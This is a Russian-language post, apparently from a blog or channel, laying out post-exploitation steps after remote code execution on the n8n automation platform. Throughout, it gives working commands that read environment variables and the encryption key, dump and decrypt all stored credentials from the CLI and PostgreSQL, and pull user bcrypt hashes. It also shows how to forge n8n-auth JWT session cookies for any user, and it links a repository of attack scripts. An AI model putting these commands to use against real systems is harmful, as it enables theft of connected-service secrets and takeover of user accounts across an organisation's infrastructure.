Вы получили RCE на n8n — что дальше?
Ниже постарался привести пару полезных шагов для его пост-эксплуатации.
💪 Получение всех учётных данных из n8n0. Сначала пробуем простой путь — через n8n CLIСработает, если shell-пользователь видит ~/.n8n/config (или задан N8N_ENCRYPTION_KEY):
npx n8n export:credentials --all --decrypted > /tmp/all_creds.json
Если по какой-то причине не вышло, пробуем дальше идти вручную.
1. Смотрим переменные окруженияКреды от БД и иногда сам N8N_ENCRYPTION_KEY часто лежат в env:
cat /proc/self/environ | tr '\0' '\n' | grep -iE 'n8n|postgres|encryption|database'
2. Ищем конфиг с ключом шифрованияn8n хранит ключ инстанса в ~/.n8n/config (JSON-поле encryptionKey).
find / -path "*/.n8n/config" 2>/dev/null
# пример:
cat /home/node/.n8n/config | jq -r .encryptionKey
3. Выгружаем зашифрованные креды из PostgreSQLФормат файла должен быть
pipe-delimited, 4 поля на строку: id|name|type|data.
PGPASSWORD=n8n psql -h localhost -U n8n -d n8n -At -F'|' -c \
"SELECT id, name, type, data FROM credentials_entity;" \
> /tmp/creds.txt
Не используйте обычный табличный вывод psql (SELECT ... ; без -At -F'|') — заголовки и выравнивание сломают парсер.
4. Расшифровываемpython3 decrypt_n8n_credentials.py /tmp/creds.txt \
--key "YOUR_N8N_ENCRYPTION_KEY" \
-o /tmp/n8n_credentials_decrypted.json
Impact: n8n обычно связан со всем — Google Drive, ключи OpenAI, Salesforce, IAM, платёжки, клиентские БД, CI/CD, webhooks и т.д. Один дамп и lateral movement по всей автоматизированной инфре.
💪 Захват сессии (подделка n8n-auth)Пароли
пользователей n8n в БД хешируются через bcrypt. Но при наличии
N8N_ENCRYPTION_KEY можно сгенерировать валидный JWT cookie
n8n-auth для любого пользователя (та же схема, что в
Cyera Ni8mare / CVE-2026-21858).
1. Достаём пользователей из PostgreSQLPGPASSWORD=n8n psql -h localhost -U n8n -d n8n -At -F'|' -c \
"SELECT id, email, password FROM public.\"user\";" \
> /tmp/users.txt
Нужны:
UUID,
email и
bcrypt-хеш ($2a$10$...) .
2. Генерируем JWTpython3 forge_n8n_session.py \
--encryption-key "YOUR_N8N_ENCRYPTION_KEY" \
--user-id "" \
--email "user@example.com" \
--password-hash '$2a$10$...'
На n8n
2.x, если derived secret не подходит то тяните signing key из БД:
PGPASSWORD=n8n psql -h localhost -U n8n -d n8n -At -c \
"SELECT value FROM deployment_key WHERE type = 'signing.jwt' AND status = 'active';"
Передать в скрипт: --jwt-secret "".
3. Подставляем cookieЗамените в браузере cookie
n8n-auth на сгенерированный JWT и готово.
👩💻
Скрипты закинул на гит - https://github.com/HideusXakep/n8n-post-exploitation-scripts